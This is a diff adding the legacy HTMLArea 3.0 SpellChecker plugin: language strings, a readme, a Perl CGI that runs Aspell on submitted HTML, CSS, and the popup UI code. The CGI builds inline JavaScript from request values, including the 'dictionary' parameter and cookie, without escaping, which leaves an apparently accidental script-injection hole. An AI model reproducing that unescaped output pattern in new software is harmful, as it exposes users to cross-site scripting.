+ "Please wait. Calling spell checker." : "Vă rog aşteptaţi. Apelez spell-checker-ul.",
+ "Please wait: changing dictionary to" : "Vă rog aşteptaţi. Schimb dicţionarul cu",
+ "QUIT_CONFIRMATION" : "Doriţi să renunţaţi la modificări şi să închid spell-checker-ul?",
+ "Re-check" : "Scanează",
+ "Replace all" : "Înlocuieşte toate",
+ "Replace with" : "Înlocuieşte cu",
+ "Replace" : "Înlocuieşte",
+ "SC-spell-check" : "Detectează greşeli",
+ "Suggestions" : "Sugestii",
+ "pliz weit ;-)" : "va rog ashteptatzi ;-)"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea Spell Checker</title>
+ </head>
+
+ <body>
+ <h1>HTMLArea Spell Checker</h1>
+
+ <p>The HTMLArea Spell Checker subsystem consists of the following
+ files:</p>
+
+ <ul>
+
+ <li>spell-checker.js — the spell checker plugin interface for
+ HTMLArea</li>
+
+ <li>spell-checker-ui.html — the HTML code for the user
+ interface</li>
+
+ <li>spell-checker-ui.js — functionality of the user
+ interface</li>
+
+ <li>spell-checker-logic.cgi — Perl CGI script that checks a text
+ given through POST for spelling errors</li>
+
+ <li>spell-checker-style.css — style for mispelled words</li>
+
+ <li>lang/en.js — main language file (English).</li>
+
+ </ul>
+
+ <h2>Process overview</h2>
+
+ <p>
+ When an end-user clicks the "spell-check" button in the HTMLArea
+ editor, a new window is opened with the URL of "spell-check-ui.html".
+ This window initializes itself with the text found in the editor (uses
+ <tt>window.opener.SpellChecker.editor</tt> global variable) and it
+ submits the text to the server-side script "spell-check-logic.cgi".
+ The target of the FORM is an inline frame which is used both to
+ display the text and correcting.
+ </p>
+
+ <p>
+ Further, spell-check-logic.cgi calls Aspell for each portion of plain
+ text found in the given HTML. It rebuilds an HTML file that contains
+ clear marks of which words are incorrect, along with suggestions for
+ each of them. This file is then loaded in the inline frame. Upon
+ loading, a JavaScript function from "spell-check-ui.js" is called.
+ This function will retrieve all mispelled words from the HTML of the
+ iframe and will setup the user interface so that it allows correction.
+ </p>
+
+ <h2>The server-side script (spell-check-logic.cgi)</h2>
+
+ <p>
+ <strong>Unicode safety</strong> — the program <em>is</em>
+ Unicode safe. HTML entities are expanded into their corresponding
+ Unicode characters. These characters will be matched as part of the
+ word passed to Aspell. All texts passed to Aspell are in Unicode
+ (when appropriate). <strike>However, Aspell seems to not support Unicode
+ yet (<a
+ href="http://mail.gnu.org/archive/html/aspell-user/2000-11/msg00007.html">thread concerning Aspell and Unicode</a>).
+ This mean that words containing Unicode
+ characters that are not in 0..255 are likely to be reported as "mispelled" by Aspell.</strike>
+ </p>
+
+ <p>
+ <strong style="font-variant: small-caps; color:
+ red;">Update:</strong> though I've never seen it mentioned
+ anywhere, it looks that Aspell <em>does</em>, in fact, speak
+ Unicode. Or else, maybe <code>Text::Aspell</code> does
+ transparent conversion; anyway, this new version of our
+ SpellChecker plugin is, as tests show so far, fully
+ Unicode-safe... well, probably the <em>only</em> freeware
+ Web-based spell-checker which happens to have Unicode support.
+ </p>
+
+ <p>
+ The Perl Unicode manual (man perluniintro) states:
+ </p>
+
+ <blockquote>
+ <em>
+ Starting from Perl 5.6.0, Perl has had the capacity to handle Unicode
+ natively. Perl 5.8.0, however, is the first recommended release for
+ serious Unicode work. The maintenance release 5.6.1 fixed many of the
+ problems of the initial Unicode implementation, but for example regular
+ expressions still do not work with Unicode in 5.6.1.
+ </em>
+ </blockquote>
+
+ <p>In other words, do <em>not</em> assume that this script is
+ Unicode-safe on Perl interpreters older than 5.8.0.</p>
+
+ <p>The following Perl modules are required:</p>
+
+ <ul>
+ <li><a href="http://search.cpan.org/search?query=Text%3A%3AAspell&mode=all" target="_blank">Text::Aspell</a></li>
+ <li><a href="http://search.cpan.org/search?query=XML%3A%3ADOM&mode=all" target="_blank">XML::DOM</a></li>
+ <li><a href="http://search.cpan.org/search?query=CGI&mode=all" target="_blank">CGI</a></li>
+ </ul>
+
+ <p>Of these, only Text::Aspell might need to be installed manually. The
+ others are likely to be available by default in most Perl distributions.</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Thu Jul 17 13:22:27 EEST 2003 -->
+<!-- hhmts start --> Last modified: Fri Jan 30 19:14:11 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+# Spell Checker Plugin for HTMLArea-3.0
+# Sponsored by www.americanbible.org
+# Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+#
+# (c) dynarch.com 2003.
+# Distributed under the same terms as HTMLArea itself.
+# This notice MUST stay intact for use (see license.txt).
+#
+# $Id: spell-check-logic.cgi,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+use strict;
+use utf8;
+use Encode;
+use Text::Aspell;
+use XML::DOM;
+use CGI;
+
+my $TIMER_start = undef;
+eval {
+ use Time::HiRes qw( gettimeofday tv_interval );
+ $TIMER_start = [gettimeofday()];
+};
+# use POSIX qw( locale_h );
+
+binmode STDIN, ':utf8';
+binmode STDOUT, ':utf8';
+
+my $debug = 0;
+
+my $speller = new Text::Aspell;
+my $cgi = new CGI;
+
+my $total_words = 0;
+my $total_mispelled = 0;
+my $total_suggestions = 0;
+my $total_words_suggested = 0;
+
+# FIXME: report a nice error...
+die "Can't create speller!" unless $speller;
+
+my $dict = $cgi->param('dictionary') || $cgi->cookie('dictionary') || 'en';
+
+# add configurable option for this
+$speller->set_option('lang', $dict);
+$speller->set_option('encoding', 'UTF-8');
+#setlocale(LC_CTYPE, $dict);
+
+# ultra, fast, normal, bad-spellers
+# bad-spellers seems to cause segmentation fault
+$speller->set_option('sug-mode', 'normal');
+
+my %suggested_words = ();
+keys %suggested_words = 128;
+
+my $file_content = decode('UTF-8', $cgi->param('content'));
+$file_content = parse_with_dom($file_content);
+
+my $ck_dictionary = $cgi->cookie(-name => 'dictionary',
+ -value => $dict,
+ -expires => '+30d');
+
+print $cgi->header(-type => 'text/html; charset: utf-8',
+ -cookie => $ck_dictionary);
+
+my $js_suggested_words = make_js_hash(\%suggested_words);
+my $js_spellcheck_info = make_js_hash_from_array
+ ([
+ [ 'Total words' , $total_words ],
+ [ 'Mispelled words' , $total_mispelled . ' in dictionary \"'.$dict.'\"' ],
+ [ 'Total suggestions' , $total_suggestions ],
+ [ 'Total words suggested' , $total_words_suggested ],
+ [ 'Spell-checked in' , defined $TIMER_start ? (tv_interval($TIMER_start) . ' seconds') : 'n/a' ]
+ ]);
+
+print qq^<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" media="all" href="spell-check-style.css" />
+<script type="text/javascript">
+ var suggested_words = { $js_suggested_words };
+ var spellcheck_info = { $js_spellcheck_info }; </script>
+</head>
+<body onload="window.parent.finishedSpellChecking();">^;
+
+print $file_content;
+if ($cgi->param('init') eq '1') {
+ my @dicts = $speller->dictionary_info();
+ my $dictionaries = '';
+ foreach my $i (@dicts) {
+ next if $i->{jargon};
+ my $name = $i->{name};
+ if ($name eq $dict) {
+ $name = '@'.$name;
+ }
+ $dictionaries .= ',' . $name;
+ }
+ $dictionaries =~ s/^,//;
+ print qq^<div id="HA-spellcheck-dictionaries">$dictionaries</div>^;
+}
+
+print '</body></html>';
+
+# Perl is beautiful.
+sub spellcheck {
+ my $node = shift;
+ my $doc = $node->getOwnerDocument;
+ my $check = sub { # called for each word in the text
+ # input is in UTF-8
+ my $word = shift;
+ my $already_suggested = defined $suggested_words{$word};
+ ++$total_words;
+ if (!$already_suggested && $speller->check($word)) {
+ return undef;
+ } else {
+ # we should have suggestions; give them back to browser in UTF-8
+ ++$total_mispelled;
+ if (!$already_suggested) {
+ # compute suggestions for this word
+ my @suggestions = $speller->suggest($word);
+ my $suggestions = decode($speller->get_option('encoding'), join(',', @suggestions));
+ $suggested_words{$word} = $suggestions;
+ ++$total_suggestions;
+ $total_words_suggested += scalar @suggestions;
+ }
+ # HA-spellcheck-error
+ my $err = $doc->createElement('span');
+ $err->setAttribute('class', 'HA-spellcheck-error');
+ my $tmp = $doc->createTextNode;
+ $tmp->setNodeValue($word);
+ $err->appendChild($tmp);
+ return $err;
+ }
+ };
+ while ($node->getNodeValue =~ /([\p{IsWord}']+)/) {
+ my $word = $1;
+ my $before = $`;
+ my $after = $';
+ my $df = &$check($word);
+ if (!$df) {
+ $before .= $word;
+ }
+ {
+ my $parent = $node->getParentNode;
+ my $n1 = $doc->createTextNode;
+ $n1->setNodeValue($before);
+ $parent->insertBefore($n1, $node);
+ $parent->insertBefore($df, $node) if $df;
+ $node->setNodeValue($after);
+ }
+ }
+};
+
+sub check_inner_text {
+ my $node = shift;
+ my $text = '';
+ for (my $i = $node->getFirstChild; defined $i; $i = $i->getNextSibling) {
+ if ($i->getNodeType == TEXT_NODE) {
+ spellcheck($i);
+ }
+ }
+};
+
+sub parse_with_dom {
+ my ($text) = @_;
+ $text = '<spellchecker>'.$text.'</spellchecker>';
+
+ my $parser = new XML::DOM::Parser;
+ if ($debug) {
+ open(FOO, '>:utf8', '/tmp/foo');
+ print FOO $text;
+ close FOO;
+ }
+ my $doc = $parser->parse($text);
+ my $nodes = $doc->getElementsByTagName('*');
+ my $n = $nodes->getLength;
+
+ for (my $i = 0; $i < $n; ++$i) {
+ my $node = $nodes->item($i);
+ if ($node->getNodeType == ELEMENT_NODE) {
+ check_inner_text($node);
+ }
+ }
+
+ my $ret = $doc->toString;
+ $ret =~ s{<spellchecker>(.*)</spellchecker>}{$1}sg;
+ return $ret;
+};
+
+sub make_js_hash {
+ my ($hash) = @_;
+ my $js_hash = '';
+ while (my ($key, $val) = each %$hash) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$key.'":"'.$val.'"';
+ }
+ return $js_hash;
+};
+
+sub make_js_hash_from_array {
+ my ($array) = @_;
+ my $js_hash = '';
+ foreach my $i (@$array) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$i->[0].'":"'.$i->[1].'"';
+ }
+ return $js_hash;
+};
--- /dev/null
+.HA-spellcheck-error { border-bottom: 1px dashed #f00; cursor: default; }
+.HA-spellcheck-same { background-color: #cef; color: #000; }
+.HA-spellcheck-hover { background-color: #433; color: white; }
+.HA-spellcheck-fixed { border-bottom: 1px dashed #0b8; }
+.HA-spellcheck-current { background-color: #9be; color: #000; }
+.HA-spellcheck-suggestions { display: none; }
+
+#HA-spellcheck-dictionaries { display: none; }
+
+a:link, a:visited { color: #55e; }
--- /dev/null
+<!--
+
+ Strangely, IE sucks with or without the DOCTYPE switch.
+ I thought it would only suck without it.
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+ "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+ Spell Checker Plugin for HTMLArea-3.0
+ Sponsored by www.americanbible.org
+ Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+
+ (c) dynarch.com 2003.
+ Distributed under the same terms as HTMLArea itself.
+ This notice MUST stay intact for use (see license.txt).
+
+ $Id: spell-check-ui.html,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+ <head>
+ <title>Spell Checker</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript" src="spell-check-ui.js"></script>
+
+ <style type="text/css">
+ html, body { height: 100%; margin: 0px; padding: 0px; background-color: #fff;
+ color: #000; }
+ a:link, a:visited { color: #00f; text-decoration: none; }
+ a:hover { color: #f00; text-decoration: underline; }
+
+ table { background-color: ButtonFace; color: ButtonText;
+ font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+
+ iframe { background-color: #fff; color: #000; height: 100%; width: 100%; }
+
+ .controls { width: 13em; }
+ .controls .sectitle { /* background-color: #736c6c; color: #fff;
+ border-top: 1px solid #000; border-bottom: 1px solid #fff; */
+ text-align: center;
+ font-weight: bold; padding: 2px 4px; }
+ .controls .secbody { margin-bottom: 10px; }
+
+ button, select { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+ button { width: 6em; padding: 0px; }
+
+ input, select { font-family: fixed,"andale mono",monospace; }
+
+ #v_currentWord { color: #f00; font-weight: bold; }
+ #statusbar { padding: 7px 0px 0px 5px; }
+ #status { font-weight: bold; }
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+
+ <form style="display: none;" action="spell-check-logic.cgi"
+ method="post" target="framecontent"
+ accept-charset="UTF-8"
+ ><input type="hidden" name="content" id="f_content"
+ /><input type="hidden" name="dictionary" id="f_dictionary"
+ /><input type="hidden" name="init" id="f_init" value="1"
+ /></form>
+
+ <table style="height: 100%; width: 100%; border-collapse: collapse;" cellspacing="0" cellpadding="0">
+ <tr>
+ <td colspan="2" style="height: 1em; padding: 2px;">
+ <div style="float: right; padding: 2px;"><span>Dictionary</span>
+ <select id="v_dictionaries" style="width: 10em"></select>
+ <button id="b_recheck">Re-check</button>
+ </div>
+ <span id="status">Please wait. Calling spell checker.</span>
+ </td>
+ </tr>
+ <tr>
+ <td valign="top" class="controls">
+ <div class="secbody" style="text-align: center">
+ <button id="b_info">Info</button>
+ </div>
+ <div class="sectitle">Original word</div>
+ <div class="secbody" id="v_currentWord" style="text-align:
+ center; margin-bottom: 0px;">pliz weit ;-)</div>
+ <div class="secbody" style="text-align: center">
+ <button id="b_revert">Revert</button>
+ </div>
+ <div class="sectitle">Replace with</div>
+ <div class="secbody">
+ <input type="text" id="v_replacement" style="width: 94%; margin-left: 3%;" /><br />
+ <div style="text-align: center; margin-top: 2px;">
+ <button id="b_replace">Replace</button><button
+ id="b_replall">Replace all</button><br /><button
+ id="b_ignore">Ignore</button><button
+ id="b_ignall">Ignore all</button>
+ </div>
+ </div>
+ <div class="sectitle">Suggestions</div>
+ <div class="secbody">
+ <select size="11" style="width: 94%; margin-left: 3%;" id="v_suggestions"></select>
+ </div>
+ </td>
+
+ <td>
+ <iframe src="about:blank" width="100%" height="100%"
+ id="i_framecontent" name="framecontent"></iframe>
+ </td>
+ </tr>
+ <tr>
+ <td style="height: 1em;" colspan="2">
+ <div style="padding: 4px 2px 2px 2px; float: right;">
+ <button id="b_ok">OK</button>
+ <button id="b_cancel">Cancel</button>
+ </div>
+ <div id="statusbar"></div>
+ </td>
+ </tr>
+ </table>
+
+ </body>
+
+</html>
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-check-ui.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+// internationalization file was already loaded in parent ;-)
+var SpellChecker = window.opener.SpellChecker;
+var i18n = SpellChecker.I18N;
+
+var HTMLArea = window.opener.HTMLArea;
+var is_ie = HTMLArea.is_ie;
+var editor = SpellChecker.editor;
+var frame = null;
+var currentElement = null;
+var wrongWords = null;
+var modified = false;
+var allWords = {};
+var fixedWords = [];
+var suggested_words = {};
+
+function makeCleanDoc(leaveFixed) {
+ // document.getElementById("status").innerHTML = 'Please wait: rendering valid HTML';
+ var words = wrongWords.concat(fixedWords);
+ for (var i = words.length; --i >= 0;) {
+ var el = words[i];
+ if (!(leaveFixed && /HA-spellcheck-fixed/.test(el.className))) {
+ el.parentNode.insertBefore(el.firstChild, el);
+ el.parentNode.removeChild(el);
+ } else
+ el.className = "HA-spellcheck-fixed";
+ }
+ // we should use innerHTML here, but IE6's implementation fucks up the
+ // HTML to such extent that our poor Perl parser doesn't understand it
+ // anymore.
+ return window.opener.HTMLArea.getHTML(frame.contentWindow.document.body, false, editor);
+};
+
+function recheckClicked() {
+ document.getElementById("status").innerHTML = i18n["Please wait: changing dictionary to"] + ': "' + document.getElementById("f_dictionary").value + '".';
+ var field = document.getElementById("f_content");
+ field.value = makeCleanDoc(true);
+ field.form.submit();
+};
+
+function saveClicked() {
+ if (modified) {
+ editor.setHTML(makeCleanDoc(false));
+ }
+ window.close();
+ return false;
+};
+
+function cancelClicked() {
+ var ok = true;
+ if (modified) {
+ ok = confirm(i18n["QUIT_CONFIRMATION"]);
+ }
+ if (ok) {
+ window.close();
+ }
+ return false;
+};
+
+function replaceWord(el) {
+ var replacement = document.getElementById("v_replacement").value;
+ var this_word_modified = (el.innerHTML != replacement);
+ if (this_word_modified)
+ modified = true;
+ if (el) {
+ el.className = el.className.replace(/\s*HA-spellcheck-(hover|fixed)\s*/g, " ");
+ }
+ el.className += " HA-spellcheck-fixed";
+ el.__msh_fixed = true;
+ if (!this_word_modified) {
+ return false;
+ }
+ el.innerHTML = replacement;
+};
+
+function replaceClicked() {
+ replaceWord(currentElement);
+ var start = currentElement.__msh_id;
+ var index = start;
+ do {
+ ++index;
+ if (index == wrongWords.length) {
+ index = 0;
+ }
+ } while ((index != start) && wrongWords[index].__msh_fixed);
+ if (index == start) {
+ index = 0;
+ alert(i18n["Finished list of mispelled words"]);
+ }
+ wrongWords[index].__msh_wordClicked(true);
+ return false;
+};
+
+function revertClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceWord(currentElement);
+ currentElement.className = "HA-spellcheck-error HA-spellcheck-current";
+ return false;
+};
+
+function replaceAllClicked() {
+ var replacement = document.getElementById("v_replacement").value;
+ var ok = true;
+ var spans = allWords[currentElement.__msh_origWord];
+ if (spans.length == 0) {
+ alert("An impossible condition just happened. Call FBI. ;-)");
+ } else if (spans.length == 1) {
+ replaceClicked();
+ return false;
+ }
+ /*
+ var message = "The word \"" + currentElement.__msh_origWord + "\" occurs " + spans.length + " times.\n";
+ if (replacement == currentElement.__msh_origWord) {
+ ok = confirm(message + "Ignore all occurrences?");
+ } else {
+ ok = confirm(message + "Replace all occurrences with \"" + replacement + "\"?");
+ }
+ */
+ if (ok) {
+ for (var i in spans) {
+ if (spans[i] != currentElement) {
+ replaceWord(spans[i]);
+ }
+ }
+ // replace current element the last, so that we jump to the next word ;-)
+ replaceClicked();
+ }
+ return false;
+};
+
+function ignoreClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceClicked();
+ return false;
+};
+
+function ignoreAllClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceAllClicked();
+ return false;
+};
+
+function learnClicked() {
+ alert("Not [yet] implemented");
+ return false;
+};
+
+function internationalizeWindow() {
+ var types = ["div", "span", "button"];
+ for (var i in types) {
+ var tag = types[i];
+ var els = document.getElementsByTagName(tag);
+ for (var j = els.length; --j >= 0;) {
+ var el = els[j];
+ if (el.childNodes.length == 1 && /\S/.test(el.innerHTML)) {
+ var txt = el.innerHTML;
+ if (typeof i18n[txt] != "undefined") {
+ el.innerHTML = i18n[txt];
+ }
+ }
+ }
+ }
+};
+
+function initDocument() {
+ internationalizeWindow();
+ modified = false;
+ frame = document.getElementById("i_framecontent");
+ var field = document.getElementById("f_content");
+ field.value = HTMLArea.getHTML(editor._doc.body, false, editor);
+ field.form.submit();
+ document.getElementById("f_init").value = "0";
+
+ // assign some global event handlers
+
+ var select = document.getElementById("v_suggestions");
+ select.onchange = function() {
+ document.getElementById("v_replacement").value = this.value;
+ };
+ if (is_ie) {
+ select.attachEvent("ondblclick", replaceClicked);
+ } else {
+ select.addEventListener("dblclick", replaceClicked, true);
+ }
+
+ document.getElementById("b_replace").onclick = replaceClicked;
+ // document.getElementById("b_learn").onclick = learnClicked;
+ document.getElementById("b_replall").onclick = replaceAllClicked;
+ document.getElementById("b_ignore").onclick = ignoreClicked;
+ document.getElementById("b_ignall").onclick = ignoreAllClicked;
+ document.getElementById("b_recheck").onclick = recheckClicked;
+ document.getElementById("b_revert").onclick = revertClicked;
+ document.getElementById("b_info").onclick = displayInfo;
+
+ document.getElementById("b_ok").onclick = saveClicked;
+ document.getElementById("b_cancel").onclick = cancelClicked;
+
+ select = document.getElementById("v_dictionaries");
+ select.onchange = function() {
+ document.getElementById("f_dictionary").value = this.value;
+ };
+};
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function wordClicked(scroll) {
+ var self = this;
+ if (scroll) (function() {
+ var pos = getAbsolutePos(self);
+ var ws = { x: frame.offsetWidth - 4,
+ y: frame.offsetHeight - 4 };
+ var wp = { x: frame.contentWindow.document.body.scrollLeft,
+ y: frame.contentWindow.document.body.scrollTop };
+ pos.x -= Math.round(ws.x/2);
+ if (pos.x < 0) pos.x = 0;
+ pos.y -= Math.round(ws.y/2);
+ if (pos.y < 0) pos.y = 0;
+ frame.contentWindow.scrollTo(pos.x, pos.y);
+ })();
+ if (currentElement) {
+ var a = allWords[currentElement.__msh_origWord];
+ currentElement.className = currentElement.className.replace(/\s*HA-spellcheck-current\s*/g, " ");
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className = el.className.replace(/\s*HA-spellcheck-same\s*/g, " ");
+ }
+ }
+ }
+ currentElement = this;
+ this.className += " HA-spellcheck-current";
+ var a = allWords[currentElement.__msh_origWord];
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className += " HA-spellcheck-same";
+ }
+ }
+ // document.getElementById("b_replall").disabled = (a.length <= 1);
+ // document.getElementById("b_ignall").disabled = (a.length <= 1);
+ var txt;
+ if (a.length == 1) {
+ txt = "one occurrence";
+ } else if (a.length == 2) {
+ txt = "two occurrences";
+ } else {
+ txt = a.length + " occurrences";
+ }
+ var suggestions = suggested_words[this.__msh_origWord];
+ if (suggestions)
+ suggestions = suggestions.split(/,/);
+ else
+ suggestions = [];
+ var select = document.getElementById("v_suggestions");
+ document.getElementById("statusbar").innerHTML = "Found " + txt +
+ ' for word "<b>' + currentElement.__msh_origWord + '</b>"';
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < suggestions.length; ++i) {
+ var txt = suggestions[i];
+ var option = document.createElement("option");
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ document.getElementById("v_currentWord").innerHTML = this.__msh_origWord;
+ if (suggestions.length > 0) {
+ select.selectedIndex = 0;
+ select.onchange();
+ } else {
+ document.getElementById("v_replacement").value = this.innerHTML;
+ }
+ select.style.display = "none";
+ select.style.display = "block";
+ return false;
+};
+
+function wordMouseOver() {
+ this.className += " HA-spellcheck-hover";
+};
+
+function wordMouseOut() {
+ this.className = this.className.replace(/\s*HA-spellcheck-hover\s*/g, " ");
+};
+
+function displayInfo() {
+ var info = frame.contentWindow.spellcheck_info;
+ if (!info)
+ alert("No information available");
+ else {
+ var txt = "** Document information **";
+ for (var i in info) {
+ txt += "\n" + i + " : " + info[i];
+ }
+ alert(txt);
+ }
+ return false;
+};
+
+function finishedSpellChecking() {
+ // initialization of global variables
+ currentElement = null;
+ wrongWords = null;
+ allWords = {};
+ fixedWords = [];
+ suggested_words = frame.contentWindow.suggested_words;
+
+ document.getElementById("status").innerHTML = "HTMLArea Spell Checker (<a href='readme-tech.html' target='_blank' title='Technical information'>info</a>)";
+ var doc = frame.contentWindow.document;
+ var spans = doc.getElementsByTagName("span");
+ var sps = [];
+ var id = 0;
+ for (var i = 0; i < spans.length; ++i) {
+ var el = spans[i];
+ if (/HA-spellcheck-error/.test(el.className)) {
+ sps.push(el);
+ el.__msh_wordClicked = wordClicked;
+ el.onclick = function(ev) {
+ ev || (ev = window.event);
+ ev && HTMLArea._stopEvent(ev);
+ return this.__msh_wordClicked(false);
+ };
+ el.onmouseover = wordMouseOver;
+ el.onmouseout = wordMouseOut;
+ el.__msh_id = id++;
+ var txt = (el.__msh_origWord = el.firstChild.data);
+ el.__msh_fixed = false;
+ if (typeof allWords[txt] == "undefined") {
+ allWords[txt] = [el];
+ } else {
+ allWords[txt].push(el);
+ }
+ } else if (/HA-spellcheck-fixed/.test(el.className)) {
+ fixedWords.push(el);
+ }
+ }
+ wrongWords = sps;
+ if (sps.length == 0) {
+ if (!modified) {
+ alert(i18n["NO_ERRORS_CLOSING"]);
+ window.close();
+ } else {
+ alert(i18n["NO_ERRORS"]);
+ }
+ return false;
+ }
+ (currentElement = sps[0]).__msh_wordClicked(true);
+ var as = doc.getElementsByTagName("a");
+ for (var i = as.length; --i >= 0;) {
+ var a = as[i];
+ a.onclick = function() {
+ if (confirm(i18n["CONFIRM_LINK_CLICK"] + ":\n" +
+ this.href + "\n" + i18n["I will open it in a new page."])) {
+ window.open(this.href);
+ }
+ return false;
+ };
+ }
+ var dicts = doc.getElementById("HA-spellcheck-dictionaries");
+ if (dicts) {
+ dicts.parentNode.removeChild(dicts);
+ dicts = dicts.innerHTML.split(/,/);
+ var select = document.getElementById("v_dictionaries");
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < dicts.length; ++i) {
+ var txt = dicts[i];
+ var option = document.createElement("option");
+ if (/^@(.*)$/.test(txt)) {
+ txt = RegExp.$1;
+ option.selected = true;
+ }
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ }
+};
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-checker.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+function SpellChecker(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = SpellChecker.I18N;
+ var bl = SpellChecker.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "SC-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "SpellChecker"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+SpellChecker._pluginInfo = {
+ name : "SpellChecker",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+SpellChecker.btnList = [
+ null, // separator
+ ["spell-check"]
+ ];
+
+SpellChecker.prototype.buttonPress = function(editor, id) {
+ switch (id) {
+ case "SC-spell-check":
+ SpellChecker.editor = editor;
+ SpellChecker.init = true;
+ var uiurl = _editor_url + "plugins/SpellChecker/spell-check-ui.html";
+ var win;
+ if (HTMLArea.is_ie) {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=600,height=450");
+ } else {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=450," +
+ "scrollbars=no,resizable=yes");
+ }
+ win.focus();
+ break;
+ }
+};
+
+// this needs to be global, it's accessed from spell-check-ui.html
+SpellChecker.editor = null;
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Zarovnání",\r\r
+ "All four sides": "Všechny čtyři strany",\r\r
+ "Background": "Pozadí",\r\r
+ "Baseline": "Základní linka",\r\r
+ "Border": "Obrys",\r\r
+ "Borders": "Obrysy",\r\r
+ "Bottom": "Dolů",\r\r
+ "CSS Style": "Kaskádové styly (CSS)",\r\r
+ "Caption": "Titulek",\r\r
+ "Cell Properties": "Vlastnosti buňky",\r\r
+ "Center": "Na střed",\r\r
+ "Char": "Znak",\r\r
+ "Collapsed borders": "Stlačené okraje",\r\r
+ "Color": "Barva",\r\r
+ "Description": "Popis",\r\r
+ "FG Color": "Barva popředí",\r\r
+ "Float": "Obtékání",\r\r
+ "Frames": "Rámečky",\r\r
+ "Height": "Výška",\r\r
+ "How many columns would you like to merge?": "Kolik sloupců si přejete spojit?",\r\r
+ "How many rows would you like to merge?": "Kolik řádků si přejete spojit?",\r\r
+ "Image URL": "Adresa obrázku",\r\r
+ "Justify": "Do stran",\r\r
+ "Layout": "Rozložení",\r\r
+ "Left": "Vlevo",\r\r
+ "Margin": "Okraj",\r\r
+ "Middle": "Na střed",\r\r
+ "No rules": "Žádné čáry",\r\r
+ "No sides": "Žádné strany",\r\r
+ "None": "Žádné",\r\r
